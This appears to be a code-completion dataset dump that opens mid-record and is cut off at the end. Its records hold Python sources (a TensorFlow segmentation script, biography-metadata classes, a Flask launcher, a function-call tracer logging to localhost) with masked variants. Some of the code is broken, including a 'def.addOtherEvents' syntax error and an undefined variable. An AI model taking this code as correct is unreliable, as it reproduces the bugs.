\n tf.summary.scalar('eval_loss', loss)\n\n return tf.estimator.EstimatorSpec(mode=mode, loss=loss, eval_metric_ops = eval_metric_ops)\n\n \n#%%\nif __name__ == \"__main__\":\n \n root_dir = '/home/pohsuanh/Documents/Computer_Vision/HW6'\n\n # Load training and eval data\n \n train_data, eval_data, test_data, gt = data_load.load()\n \n # Flags\n \n TRAIN = False\n\n PREDICT = True \n\n DRAW_SAMPLE = False\n \n # Construct model\n if DRAW_SAMPLE == True :\n\n# pic = np.random.randint((test_data['x']).shape[0])\n pic = np.random.randint(len(test_data['x']))\n \n image_sample = test_data['x'][pic]\n \n label_sample = test_data['y'][pic]\n \n# image_sample = tf.Session().run(image_sample)\n# \n# label_sample = tf.Session().run(label_sample)\n plt.figure(figsize=(20,40))\n plt.title('data')\n plt.imshow(image_sample)\n \n plt.figure(figsize =(20,40))\n plt.title('gt')\n plt.imshow(label_sample)\n \n # Create the Estimator\n \n pretrained_weights = tf.estimator.WarmStartSettings(\n ckpt_to_initialize_from=os.path.join(root_dir,'pretrained_weights','vgg_16.ckpt'),\n vars_to_warm_start= tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope = 'vgg16_pretrained'))\n \n fcn_segmentor = tf.estimator.Estimator(\n \n model_fn=fcn_model_fn, model_dir=os.path.join(root_dir, 'ckpts'), warm_start_from= pretrained_weights) \n \n if TRAIN == True :\n \n for epoch in range(100):\n \n # Train the model\n \n train_input_fn = tf.estimator.inputs.numpy_input_fn(\n x=train_data['x'],\n y=train_data['y'],\n batch_size=1,\n num_epochs=None, # number of epochs to iterate over data. If None will run forever.\n shuffle=True)\n \n fcn_segmentor.train(\n input_fn=train_input_fn,\n steps=200\n )\n \n # Evaluate the model and print results\n \n eval_input_fn = tf.estimator.inputs.numpy_input_fn(\n x=eval_data['x'],\n y=eval_data['y'],\n num_epochs=1,\n batch_size=10,\n shuffle=False)\n \n eval_results = fcn_segmentor.evaluate(input_fn=eval_input_fn)\n \n print('eval_loss :', eval_results)\n \n \n \n#%% We withhold the predction from test set untill all the hyperparameters are finetuned.\n \n if PREDICT == True :\n \n pred_input_fn = tf.estimator.inputs.numpy_input_fn(\n x=test_data['x'],\n y=test_data['y'],\n batch_size =1,\n num_epochs=1,\n shuffle=False)\n \n # predict method returns a generator\n \n pred = list( fcn_segmentor.predict(input_fn = pred_input_fn))\n \n pred = [p['classes'] for p in pred]\n \n fig = plt.figure(1, figsize=(32,16))\n \n for i, p in enumerate(pred) : \n \n fig.add_subplot(3,1,1)\n \n plt.title('camera photo')\n \n plt.imshow(test_data['x'][i])\n \n fig.add_subplot(3,1,2)\n \n plt.title('prediction')\n \n plt.imshow(p)\n \n fig.add_subplot(3,1,3)\n \n plt.title('ground truth')\n \n plt.imshow(gt['test'][i])\n \n filename = 'pred_{}.png'.format(i)\n \n plt.savefig(os.path.join(root_dir,'predictions',filename))", "step-ids": [ 1, 2, 3, 4, 5 ] }
[ 1, 2, 3, 4, 5 ]
#!/usr/bin/python '''Defines classes for representing metadata found in Biographies''' class Date: '''Object to represent dates. Dates can consist of regular day-month-year, but also descriptions (before, after, ca.). Object has attributes for regular parts and one for description, default is empty string.''' def __init__( self, year='YY', month='YY', day='YY', description='', dateInterval = ''): self.year = year self.month = month self.day = day self.description = description self.interval = dateInterval def returnDate(self): myDate = self.year + '-' + self.month + '' + self.day if self.description: myDate += ' (' + self.description + ')' return myDate class DateInterval: '''Object to represent date intervales. consists of a begin date and an end date, each of which can be underspecified''' def __init__(self, beginDate = '', endDate = ''): self.beginDate = beginDate self.endDate = endDate class Name: '''Object to describe person names. It has fields for initials, first name, last name, infixes and titles.''' def __init__(self, lastname, firstname = '', initials = '', infix = ''): self.lastname = lastname self.firstname = firstname self.initials = initials self.infix = infix self.title = '' def addTitle(self, title): self.title = title def defineName(self, name): self.lastname = name def addFirstname(self, firstname): self.firstname = firstname def addInitials(self, initials): self.initials = initials def addInfix(self, infix): self.infix = infix def returnName(self): '''prefer full first name if known, else initials. If neither are known, this will be the empty string.''' if self.firstname: name = self.title + ' ' + self.firstname + ' ' + self.infix + self.lastname else: name = self.title + ' ' + self.initials + ' ' + self.infix + self.lastname return name class Event: '''Object that can describe an event (time, place, description)''' def __init__(self, label, location = '', date = Date): self.label = label self.location = location self.date = date def setDate(self, date): self.date = date def setLocation(self, location): self.location = location class State: '''Object that can describe a state (begin time, end time, place, description)''' def __init__(self, label, description = '', location = '', beginDate = Date, endDate = Date): self.label = label self.location = location self.beginDate = beginDate self.endDate = endDate self.description = description def setBeginDate(self, date): self.beginDate = date def setEndDate(self, date): self.endDate = date def setLocation(self, location): self.location = location def setDescription(self, description): self.description = description class MetadataSingle: '''Object that represents the metadata from a single biography''' def __init__(self, idNr, name): self.id = idNr self.name = name self.birth = Event('birth') self.death = Event('death') self.father = Name('') self.mother = Name('') self.education = [] self.occupation = [] self.gender = '' self.religion = [] self.residence = [] self.otherEvents = [] self.otherStates = [] self.text = '' def defineBirthDay(self, date, location=''): self.birth.date = date if location: self.birth.location = location def defineDeathDay(self, date, location=''): self.death.date = date if location: self.death.location = location def defineFather(self, name): self.father = name def defineMother(self, name): self.mother = name def addEducation(self, educEvent): self.education.append(educEvent) def addOccupation(self, occEvent): self.occupation.append(occEvent) def defineGender(self, gender): self.gender = gender def addReligion(self, religion): self.religion.append(religion) def addResidence(self, religion): self.residence.append(religion) def defineText(self, text): self.text = text class MetadataComplete: '''Object that represents all available metadata for an individual. All except id number are represented as lists''' def __init__(self, idNr): self.id = idNr self.name = [] self.birth = [] self.death = [] self.father = [] self.mother = [] self.education = [] self.occupation = [] self.gender = [] self.religion = [] self.otherEvents = [] self.otherStates = [] self.text = [] def addName(self, name): self.name.append(name) def addBirthDay(self, birthEvent): self.birth.append(birthEvent) def addDeathDay(self, deathEvent): self.death.append(deathEvent) def addFather(self, fatherName): self.father.append(name) def defineMother(self, motherName): self.mother.append(motherName) def addEducation(self, eduList): self.education.append(eduList) def addOccupation(self, occList): self.occupation.append(occList) def defineGender(self, gender): self.gender.append(gender) def addReligion(self, religionList): self.religion.append(religionList) def.addOtherEvents(self, otherElist): self.otherEvents.append(otherElist) def.addOtherStates(self, otherSlist): self.otherStates.append(otherSlist) def defineText(self, text): self.text.append(text)
normal
{ "blob_id": "9609f23463aa4c7859a8db741c7f3badd78b8553", "index": 6527, "step-1": "#!/usr/bin/python\n\n'''Defines classes for representing metadata found in Biographies'''\n\n\n\nclass Date:\n '''Object to represent dates. Dates can consist of regular day-month-year, but also descriptions (before, after, ca.). Object has attributes for regular parts and one for description, default is empty string.'''\n\n def __init__( self, year='YY', month='YY', day='YY', description='', dateInterval = ''):\n self.year = year\n self.month = month\n self.day = day\n self.description = description\n self.interval = dateInterval\n\n\n def returnDate(self):\n myDate = self.year + '-' + self.month + '' + self.day\n if self.description:\n myDate += ' (' + self.description + ')'\n return myDate\n\n\n\nclass DateInterval:\n '''Object to represent date intervales. consists of a begin date and an end date, each of which can be underspecified'''\n def __init__(self, beginDate = '', endDate = ''):\n self.beginDate = beginDate\n self.endDate = endDate\n\n\nclass Name:\n '''Object to describe person names. It has fields for initials, first name, last name, infixes and titles.'''\n \n def __init__(self, lastname, firstname = '', initials = '', infix = ''):\n self.lastname = lastname\n self.firstname = firstname\n self.initials = initials\n self.infix = infix\n self.title = ''\n\n def addTitle(self, title):\n self.title = title\n\n def defineName(self, name):\n self.lastname = name\n\n def addFirstname(self, firstname):\n self.firstname = firstname\n\n def addInitials(self, initials):\n self.initials = initials\n \n def addInfix(self, infix):\n self.infix = infix\n\n def returnName(self):\n '''prefer full first name if known, else initials. If neither are known, this will be the empty string.'''\n if self.firstname:\n name = self.title + ' ' + self.firstname + ' ' + self.infix + self.lastname\n else:\n name = self.title + ' ' + self.initials + ' ' + self.infix + self.lastname\n return name\n\n\n\nclass Event:\n '''Object that can describe an event (time, place, description)'''\n \n def __init__(self, label, location = '', date = Date):\n self.label = label\n self.location = location\n self.date = date\n\n def setDate(self, date):\n self.date = date\n\n def setLocation(self, location):\n self.location = location\n\n\n\nclass State:\n '''Object that can describe a state (begin time, end time, place, description)'''\n \n def __init__(self, label, description = '', location = '', beginDate = Date, endDate = Date):\n self.label = label\n self.location = location\n self.beginDate = beginDate\n self.endDate = endDate\n self.description = description\n \n def setBeginDate(self, date):\n self.beginDate = date\n \n def setEndDate(self, date):\n self.endDate = date\n \n def setLocation(self, location):\n self.location = location\n\n def setDescription(self, description):\n self.description = description\n\nclass MetadataSingle:\n '''Object that represents the metadata from a single biography'''\n\n def __init__(self, idNr, name):\n self.id = idNr\n self.name = name\n self.birth = Event('birth')\n self.death = Event('death')\n self.father = Name('')\n self.mother = Name('')\n self.education = []\n self.occupation = []\n self.gender = ''\n self.religion = []\n self.residence = []\n self.otherEvents = []\n self.otherStates = []\n self.text = ''\n\n def defineBirthDay(self, date, location=''):\n self.birth.date = date\n if location:\n self.birth.location = location\n\n def defineDeathDay(self, date, location=''):\n self.death.date = date\n if location:\n self.death.location = location\n\n def defineFather(self, name):\n self.father = name\n\n def defineMother(self, name):\n self.mother = name\n\n def addEducation(self, educEvent):\n self.education.append(educEvent)\n\n def addOccupation(self, occEvent):\n self.occupation.append(occEvent)\n\n def defineGender(self, gender):\n self.gender = gender\n\n def addReligion(self, religion):\n self.religion.append(religion)\n \n def addResidence(self, religion):\n self.residence.append(religion)\n \n def defineText(self, text):\n self.text = text\n\n\nclass MetadataComplete:\n '''Object that represents all available metadata for an individual. All except id number are represented as lists'''\n \n def __init__(self, idNr):\n self.id = idNr\n self.name = []\n self.birth = []\n self.death = []\n self.father = []\n self.mother = []\n self.education = []\n self.occupation = []\n self.gender = []\n self.religion = []\n self.otherEvents = []\n self.otherStates = []\n self.text = []\n\n def addName(self, name):\n self.name.append(name)\n \n def addBirthDay(self, birthEvent):\n self.birth.append(birthEvent)\n \n def addDeathDay(self, deathEvent):\n self.death.append(deathEvent)\n \n def addFather(self, fatherName):\n self.father.append(name)\n \n def defineMother(self, motherName):\n self.mother.append(motherName)\n \n def addEducation(self, eduList):\n self.education.append(eduList)\n \n def addOccupation(self, occList):\n self.occupation.append(occList)\n \n def defineGender(self, gender):\n self.gender.append(gender)\n \n def addReligion(self, religionList):\n self.religion.append(religionList)\n \n def.addOtherEvents(self, otherElist):\n self.otherEvents.append(otherElist)\n \n def.addOtherStates(self, otherSlist):\n self.otherStates.append(otherSlist)\n\n def defineText(self, text):\n self.text.append(text)", "step-2": null, "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0 ] }
[ 0 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> app.run(debug=True, host=cfg.APP_HOST, port=cfg.APP_PORT) <|reserved_special_token_1|> from app import app from config import config as cfg app.run(debug=True, host=cfg.APP_HOST, port=cfg.APP_PORT) <|reserved_special_token_1|> #!env/bin/python3 from app import app from config import config as cfg app.run(debug=True, host=cfg.APP_HOST, port=cfg.APP_PORT)
flexible
{ "blob_id": "f97150f60dfb3924cda2c969141d5bfe675725ef", "index": 9150, "step-1": "<mask token>\n", "step-2": "<mask token>\napp.run(debug=True, host=cfg.APP_HOST, port=cfg.APP_PORT)\n", "step-3": "from app import app\nfrom config import config as cfg\napp.run(debug=True, host=cfg.APP_HOST, port=cfg.APP_PORT)\n", "step-4": "#!env/bin/python3\nfrom app import app\nfrom config import config as cfg\napp.run(debug=True, host=cfg.APP_HOST, port=cfg.APP_PORT)\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> LOCAL_INFO = 1 LSM = 2 TLS = 3 TLS_STOP = 4 DANGER = 5 STOP_DANGER = 6 PM = 7 PM_STOP = 8 <|reserved_special_token_1|> # -*- coding: utf-8 -*- """ Created on Thu Feb 15 17:28:48 2018 @author: otalabay """ LOCAL_INFO = 1 LSM = 2 TLS = 3 TLS_STOP = 4 DANGER = 5 STOP_DANGER = 6 PM = 7 PM_STOP = 8
flexible
{ "blob_id": "db341c3686c53f1cd9fe98c532f17e872952cbba", "index": 6733, "step-1": "<mask token>\n", "step-2": "<mask token>\nLOCAL_INFO = 1\nLSM = 2\nTLS = 3\nTLS_STOP = 4\nDANGER = 5\nSTOP_DANGER = 6\nPM = 7\nPM_STOP = 8\n", "step-3": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Feb 15 17:28:48 2018\r\n\r\n@author: otalabay\r\n\"\"\"\r\n\r\nLOCAL_INFO = 1\r\nLSM = 2\r\nTLS = 3\r\nTLS_STOP = 4\r\nDANGER = 5\r\nSTOP_DANGER = 6\r\nPM = 7\r\nPM_STOP = 8", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }
[ 0, 1, 2 ]
import functools import requests import time import argparse class TracePoint: classes = [] funcs = [] flow = [] @staticmethod def clear(): TracePoint.classes = [] TracePoint.funcs = [] TracePoint.flow = [] def __init__(self, cls, func, t): if cls not in TracePoint.classes: TracePoint.classes.append(cls) if cls not in TracePoint.funcs: TracePoint.funcs.append(func) TracePoint.flow.append(",".join([cls,t, func])) def render_flow(self): first = TracePoint.flow[0] recods = set() for no,i in enumerate(TracePoint.flow[1:]): cls,t, func = i.split(',',2) fcls,ft, ffunc = first.split(',', 2) fn = func.split("(")[0] ffn = ffunc.split("(")[0] label = "{l} -> {c}".format(l=ffn, c=fn) if label in recods: continue recods.add(label) lc,_ = self.get_color(cls, func) yield """{l} -> {c} [label="<span style='color:gray;'>{t}</span>|<span style='font-size:18px;color:red'>{no}</span>" labelType="html" lineInterpolate=basis arrowheadStyle="fill: {lc}" style="stroke: {lc}; stroke-width: 1px;"];""".format(no=no,l=ffn, c=fn, t=time.ctime(float(t)), lc=lc) first = i def render_var(self, one): cls,t, func = one.strip().split(",", 2) color, color_f = self.get_color(cls, func) fn = func.split("(")[0] tmp = """{func_name} [labelType="html" label="<span style='font-size:28px;color:{color_f}'>{func}</span><span style='color:{color};'>class:{cls}</span>"];""".format(func_name=fn, color=color,color_f=color_f,cls=cls, func=func) return tmp def get_color(self, cls, func): base = 4096 // len(TracePoint.classes) base_f = 4096 // len(TracePoint.funcs) c = hex(base * TracePoint.classes.index(cls)).replace("0x", "#") c_f = hex(base_f * TracePoint.funcs.index(func)).replace("0x", "#") if len(c) < 4: c = c + '0'* (4- len(c)) if len(c_f) < 4: c_f = c_f + '0'* (4- len(c_f)) return c,c_f def __repr__(self): TEMP = """ digraph { /* Note: HTML labels do not work in IE, which lacks support for <foreignObject> tags. */ node [rx=7 ry=7 labelStyle="font: 300 14px 'Helvetica Neue', Helvetica"] edge [labelStyle="font: 300 14px 'Helvetica Neue', Helvetica"] %s } """ fcon = "\n\t".join([self.render_var(i) for i in TracePoint.flow]) lcon = "\n\t".join(self.render_flow()) return TEMP % (fcon + lcon) def trace(cls): def _func(func): @functools.wraps(func) def __run(*args, **kargs): print(func.__name__, args,"|" ,kargs) return func(*args, **kargs) return __run return _func def trace_cls(method): def _trace_cls(cls): # Get the original implementation orig_getattribute = cls.__getattribute__ # Make a new definition def new_getattribute(self, name): if name in cls.__dict__: f = getattr(cls, name) args = "(%s)" % ', '.join(f.__code__.co_varnames) t = str(time.time()) if "http://" in method: requests.post("http://localhost:12222/", data={ 'class':cls.__name__, 'fun':name + args, 'time':t, }) else: with open(method, "a+") as fp: s = ",".join([cls.__name__,t,name + args]) fp.write(s + "\n") return orig_getattribute(self, name) # Attach to the class and return cls.__getattribute__ = new_getattribute return cls return _trace_cls def main(): parser = argparse.ArgumentParser() parser.add_argument("-l","--load",default=None,help="loadfile") parser.add_argument("--url", default='http://localhost:12222',help="debug server") args = parser.parse_args() with open(args.load) as fp: for l in fp: cls, t, func = l.strip().split(',', 2) requests.post(args.url, data={ 'class':cls, 'fun':func, 'time':t, }) if __name__ == '__main__': main()
normal
{ "blob_id": "80bf208f1d658b639d650af8208a744ed2dd258f", "index": 9355, "step-1": "<mask token>\n\n\nclass TracePoint:\n <mask token>\n <mask token>\n <mask token>\n\n @staticmethod\n def clear():\n TracePoint.classes = []\n TracePoint.funcs = []\n TracePoint.flow = []\n\n def __init__(self, cls, func, t):\n if cls not in TracePoint.classes:\n TracePoint.classes.append(cls)\n if cls not in TracePoint.funcs:\n TracePoint.funcs.append(func)\n TracePoint.flow.append(','.join([cls, t, func]))\n\n def render_flow(self):\n first = TracePoint.flow[0]\n recods = set()\n for no, i in enumerate(TracePoint.flow[1:]):\n cls, t, func = i.split(',', 2)\n fcls, ft, ffunc = first.split(',', 2)\n fn = func.split('(')[0]\n ffn = ffunc.split('(')[0]\n label = '{l} -> {c}'.format(l=ffn, c=fn)\n if label in recods:\n continue\n recods.add(label)\n lc, _ = self.get_color(cls, func)\n yield '{l} -> {c} [label=\"<span style=\\'color:gray;\\'>{t}</span>|<span style=\\'font-size:18px;color:red\\'>{no}</span>\" labelType=\"html\" lineInterpolate=basis arrowheadStyle=\"fill: {lc}\" style=\"stroke: {lc}; stroke-width: 1px;\"];'.format(\n no=no, l=ffn, c=fn, t=time.ctime(float(t)), lc=lc)\n first = i\n\n def render_var(self, one):\n cls, t, func = one.strip().split(',', 2)\n color, color_f = self.get_color(cls, func)\n fn = func.split('(')[0]\n tmp = (\n '{func_name} [labelType=\"html\" label=\"<span style=\\'font-size:28px;color:{color_f}\\'>{func}</span><span style=\\'color:{color};\\'>class:{cls}</span>\"];'\n .format(func_name=fn, color=color, color_f=color_f, cls=cls,\n func=func))\n return tmp\n\n def get_color(self, cls, func):\n base = 4096 // len(TracePoint.classes)\n base_f = 4096 // len(TracePoint.funcs)\n c = hex(base * TracePoint.classes.index(cls)).replace('0x', '#')\n c_f = hex(base_f * TracePoint.funcs.index(func)).replace('0x', '#')\n if len(c) < 4:\n c = c + '0' * (4 - len(c))\n if len(c_f) < 4:\n c_f = c_f + '0' * (4 - len(c_f))\n return c, c_f\n <mask token>\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass TracePoint:\n classes = []\n funcs = []\n flow = []\n\n @staticmethod\n def clear():\n TracePoint.classes = []\n TracePoint.funcs = []\n TracePoint.flow = []\n\n def __init__(self, cls, func, t):\n if cls not in TracePoint.classes:\n TracePoint.classes.append(cls)\n if cls not in TracePoint.funcs:\n TracePoint.funcs.append(func)\n TracePoint.flow.append(','.join([cls, t, func]))\n\n def render_flow(self):\n first = TracePoint.flow[0]\n recods = set()\n for no, i in enumerate(TracePoint.flow[1:]):\n cls, t, func = i.split(',', 2)\n fcls, ft, ffunc = first.split(',', 2)\n fn = func.split('(')[0]\n ffn = ffunc.split('(')[0]\n label = '{l} -> {c}'.format(l=ffn, c=fn)\n if label in recods:\n continue\n recods.add(label)\n lc, _ = self.get_color(cls, func)\n yield '{l} -> {c} [label=\"<span style=\\'color:gray;\\'>{t}</span>|<span style=\\'font-size:18px;color:red\\'>{no}</span>\" labelType=\"html\" lineInterpolate=basis arrowheadStyle=\"fill: {lc}\" style=\"stroke: {lc}; stroke-width: 1px;\"];'.format(\n no=no, l=ffn, c=fn, t=time.ctime(float(t)), lc=lc)\n first = i\n\n def render_var(self, one):\n cls, t, func = one.strip().split(',', 2)\n color, color_f = self.get_color(cls, func)\n fn = func.split('(')[0]\n tmp = (\n '{func_name} [labelType=\"html\" label=\"<span style=\\'font-size:28px;color:{color_f}\\'>{func}</span><span style=\\'color:{color};\\'>class:{cls}</span>\"];'\n .format(func_name=fn, color=color, color_f=color_f, cls=cls,\n func=func))\n return tmp\n\n def get_color(self, cls, func):\n base = 4096 // len(TracePoint.classes)\n base_f = 4096 // len(TracePoint.funcs)\n c = hex(base * TracePoint.classes.index(cls)).replace('0x', '#')\n c_f = hex(base_f * TracePoint.funcs.index(func)).replace('0x', '#')\n if len(c) < 4:\n c = c + '0' * (4 - len(c))\n if len(c_f) < 4:\n c_f = c_f + '0' * (4 - len(c_f))\n return c, c_f\n\n def __repr__(self):\n TEMP = \"\"\"\ndigraph {\n /* Note: HTML labels do not work in IE, which lacks support for <foreignObject> tags. */\n node [rx=7 ry=7 labelStyle=\"font: 300 14px 'Helvetica Neue', Helvetica\"]\n edge [labelStyle=\"font: 300 14px 'Helvetica Neue', Helvetica\"]\n %s\n}\n\"\"\"\n fcon = '\\n\\t'.join([self.render_var(i) for i in TracePoint.flow])\n lcon = '\\n\\t'.join(self.render_flow())\n return TEMP % (fcon + lcon)\n\n\ndef trace(cls):\n\n def _func(func):\n\n @functools.wraps(func)\n def __run(*args, **kargs):\n print(func.__name__, args, '|', kargs)\n return func(*args, **kargs)\n return __run\n return _func\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass TracePoint:\n classes = []\n funcs = []\n flow = []\n\n @staticmethod\n def clear():\n TracePoint.classes = []\n TracePoint.funcs = []\n TracePoint.flow = []\n\n def __init__(self, cls, func, t):\n if cls not in TracePoint.classes:\n TracePoint.classes.append(cls)\n if cls not in TracePoint.funcs:\n TracePoint.funcs.append(func)\n TracePoint.flow.append(','.join([cls, t, func]))\n\n def render_flow(self):\n first = TracePoint.flow[0]\n recods = set()\n for no, i in enumerate(TracePoint.flow[1:]):\n cls, t, func = i.split(',', 2)\n fcls, ft, ffunc = first.split(',', 2)\n fn = func.split('(')[0]\n ffn = ffunc.split('(')[0]\n label = '{l} -> {c}'.format(l=ffn, c=fn)\n if label in recods:\n continue\n recods.add(label)\n lc, _ = self.get_color(cls, func)\n yield '{l} -> {c} [label=\"<span style=\\'color:gray;\\'>{t}</span>|<span style=\\'font-size:18px;color:red\\'>{no}</span>\" labelType=\"html\" lineInterpolate=basis arrowheadStyle=\"fill: {lc}\" style=\"stroke: {lc}; stroke-width: 1px;\"];'.format(\n no=no, l=ffn, c=fn, t=time.ctime(float(t)), lc=lc)\n first = i\n\n def render_var(self, one):\n cls, t, func = one.strip().split(',', 2)\n color, color_f = self.get_color(cls, func)\n fn = func.split('(')[0]\n tmp = (\n '{func_name} [labelType=\"html\" label=\"<span style=\\'font-size:28px;color:{color_f}\\'>{func}</span><span style=\\'color:{color};\\'>class:{cls}</span>\"];'\n .format(func_name=fn, color=color, color_f=color_f, cls=cls,\n func=func))\n return tmp\n\n def get_color(self, cls, func):\n base = 4096 // len(TracePoint.classes)\n base_f = 4096 // len(TracePoint.funcs)\n c = hex(base * TracePoint.classes.index(cls)).replace('0x', '#')\n c_f = hex(base_f * TracePoint.funcs.index(func)).replace('0x', '#')\n if len(c) < 4:\n c = c + '0' * (4 - len(c))\n if len(c_f) < 4:\n c_f = c_f + '0' * (4 - len(c_f))\n return c, c_f\n\n def __repr__(self):\n TEMP = \"\"\"\ndigraph {\n /* Note: HTML labels do not work in IE, which lacks support for <foreignObject> tags. */\n node [rx=7 ry=7 labelStyle=\"font: 300 14px 'Helvetica Neue', Helvetica\"]\n edge [labelStyle=\"font: 300 14px 'Helvetica Neue', Helvetica\"]\n %s\n}\n\"\"\"\n fcon = '\\n\\t'.join([self.render_var(i) for i in TracePoint.flow])\n lcon = '\\n\\t'.join(self.render_flow())\n return TEMP % (fcon + lcon)\n\n\ndef trace(cls):\n\n def _func(func):\n\n @functools.wraps(func)\n def __run(*args, **kargs):\n print(func.__name__, args, '|', kargs)\n return func(*args, **kargs)\n return __run\n return _func\n\n\ndef trace_cls(method):\n\n def _trace_cls(cls):\n orig_getattribute = cls.__getattribute__\n\n def new_getattribute(self, name):\n if name in cls.__dict__:\n f = getattr(cls, name)\n args = '(%s)' % ', '.join(f.__code__.co_varnames)\n t = str(time.time())\n if 'http://' in method:\n requests.post('http://localhost:12222/', data={'class':\n cls.__name__, 'fun': name + args, 'time': t})\n else:\n with open(method, 'a+') as fp:\n s = ','.join([cls.__name__, t, name + args])\n fp.write(s + '\\n')\n return orig_getattribute(self, name)\n cls.__getattribute__ = new_getattribute\n return cls\n return _trace_cls\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('-l', '--load', default=None, help='loadfile')\n parser.add_argument('--url', default='http://localhost:12222', help=\n 'debug server')\n args = parser.parse_args()\n with open(args.load) as fp:\n for l in fp:\n cls, t, func = l.strip().split(',', 2)\n requests.post(args.url, data={'class': cls, 'fun': func, 'time': t}\n )\n\n\n<mask token>\n", "step-4": "<mask token>\n\n\nclass TracePoint:\n classes = []\n funcs = []\n flow = []\n\n @staticmethod\n def clear():\n TracePoint.classes = []\n TracePoint.funcs = []\n TracePoint.flow = []\n\n def __init__(self, cls, func, t):\n if cls not in TracePoint.classes:\n TracePoint.classes.append(cls)\n if cls not in TracePoint.funcs:\n TracePoint.funcs.append(func)\n TracePoint.flow.append(','.join([cls, t, func]))\n\n def render_flow(self):\n first = TracePoint.flow[0]\n recods = set()\n for no, i in enumerate(TracePoint.flow[1:]):\n cls, t, func = i.split(',', 2)\n fcls, ft, ffunc = first.split(',', 2)\n fn = func.split('(')[0]\n ffn = ffunc.split('(')[0]\n label = '{l} -> {c}'.format(l=ffn, c=fn)\n if label in recods:\n continue\n recods.add(label)\n lc, _ = self.get_color(cls, func)\n yield '{l} -> {c} [label=\"<span style=\\'color:gray;\\'>{t}</span>|<span style=\\'font-size:18px;color:red\\'>{no}</span>\" labelType=\"html\" lineInterpolate=basis arrowheadStyle=\"fill: {lc}\" style=\"stroke: {lc}; stroke-width: 1px;\"];'.format(\n no=no, l=ffn, c=fn, t=time.ctime(float(t)), lc=lc)\n first = i\n\n def render_var(self, one):\n cls, t, func = one.strip().split(',', 2)\n color, color_f = self.get_color(cls, func)\n fn = func.split('(')[0]\n tmp = (\n '{func_name} [labelType=\"html\" label=\"<span style=\\'font-size:28px;color:{color_f}\\'>{func}</span><span style=\\'color:{color};\\'>class:{cls}</span>\"];'\n .format(func_name=fn, color=color, color_f=color_f, cls=cls,\n func=func))\n return tmp\n\n def get_color(self, cls, func):\n base = 4096 // len(TracePoint.classes)\n base_f = 4096 // len(TracePoint.funcs)\n c = hex(base * TracePoint.classes.index(cls)).replace('0x', '#')\n c_f = hex(base_f * TracePoint.funcs.index(func)).replace('0x', '#')\n if len(c) < 4:\n c = c + '0' * (4 - len(c))\n if len(c_f) < 4:\n c_f = c_f + '0' * (4 - len(c_f))\n return c, c_f\n\n def __repr__(self):\n TEMP = \"\"\"\ndigraph {\n /* Note: HTML labels do not work in IE, which lacks support for <foreignObject> tags. */\n node [rx=7 ry=7 labelStyle=\"font: 300 14px 'Helvetica Neue', Helvetica\"]\n edge [labelStyle=\"font: 300 14px 'Helvetica Neue', Helvetica\"]\n %s\n}\n\"\"\"\n fcon = '\\n\\t'.join([self.render_var(i) for i in TracePoint.flow])\n lcon = '\\n\\t'.join(self.render_flow())\n return TEMP % (fcon + lcon)\n\n\ndef trace(cls):\n\n def _func(func):\n\n @functools.wraps(func)\n def __run(*args, **kargs):\n print(func.__name__, args, '|', kargs)\n return func(*args, **kargs)\n return __run\n return _func\n\n\ndef trace_cls(method):\n\n def _trace_cls(cls):\n orig_getattribute = cls.__getattribute__\n\n def new_getattribute(self, name):\n if name in cls.__dict__:\n f = getattr(cls, name)\n args = '(%s)' % ', '.join(f.__code__.co_varnames)\n t = str(time.time())\n if 'http://' in method:\n requests.post('http://localhost:12222/', data={'class':\n cls.__name__, 'fun': name + args, 'time': t})\n else:\n with open(method, 'a+') as fp:\n s = ','.join([cls.__name__, t, name + args])\n fp.write(s + '\\n')\n return orig_getattribute(self, name)\n cls.__getattribute__ = new_getattribute\n return cls\n return _trace_cls\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('-l', '--load', default=None, help='loadfile')\n parser.add_argument('--url', default='http://localhost:12222', help=\n 'debug server')\n args = parser.parse_args()\n with open(args.load) as fp:\n for l in fp:\n cls, t, func = l.strip().split(',', 2)\n requests.post(args.url, data={'class': cls, 'fun': func, 'time': t}\n )\n\n\nif __name__ == '__main__':\n main()\n", "step-5": "import functools\nimport requests\nimport time\nimport argparse\n\n\nclass TracePoint:\n classes = []\n funcs = []\n flow = []\n\n @staticmethod\n def clear():\n TracePoint.classes = []\n TracePoint.funcs = []\n TracePoint.flow = [] \n\n def __init__(self, cls, func, t):\n if cls not in TracePoint.classes:\n TracePoint.classes.append(cls)\n if cls not in TracePoint.funcs:\n TracePoint.funcs.append(func)\n TracePoint.flow.append(\",\".join([cls,t, func]))\n\n def render_flow(self):\n first = TracePoint.flow[0]\n recods = set()\n for no,i in enumerate(TracePoint.flow[1:]):\n cls,t, func = i.split(',',2)\n fcls,ft, ffunc = first.split(',', 2)\n fn = func.split(\"(\")[0]\n ffn = ffunc.split(\"(\")[0]\n label = \"{l} -> {c}\".format(l=ffn, c=fn)\n if label in recods:\n continue\n recods.add(label)\n lc,_ = self.get_color(cls, func)\n yield \"\"\"{l} -> {c} [label=\"<span style='color:gray;'>{t}</span>|<span style='font-size:18px;color:red'>{no}</span>\" labelType=\"html\" lineInterpolate=basis arrowheadStyle=\"fill: {lc}\" style=\"stroke: {lc}; stroke-width: 1px;\"];\"\"\".format(no=no,l=ffn, c=fn, t=time.ctime(float(t)), lc=lc)\n first = i\n\n\n def render_var(self, one):\n cls,t, func = one.strip().split(\",\", 2)\n color, color_f = self.get_color(cls, func)\n fn = func.split(\"(\")[0]\n tmp = \"\"\"{func_name} [labelType=\"html\" label=\"<span style='font-size:28px;color:{color_f}'>{func}</span><span style='color:{color};'>class:{cls}</span>\"];\"\"\".format(func_name=fn, color=color,color_f=color_f,cls=cls, func=func)\n return tmp\n\n def get_color(self, cls, func):\n base = 4096 // len(TracePoint.classes)\n base_f = 4096 // len(TracePoint.funcs)\n c = hex(base * TracePoint.classes.index(cls)).replace(\"0x\", \"#\")\n c_f = hex(base_f * TracePoint.funcs.index(func)).replace(\"0x\", \"#\")\n if len(c) < 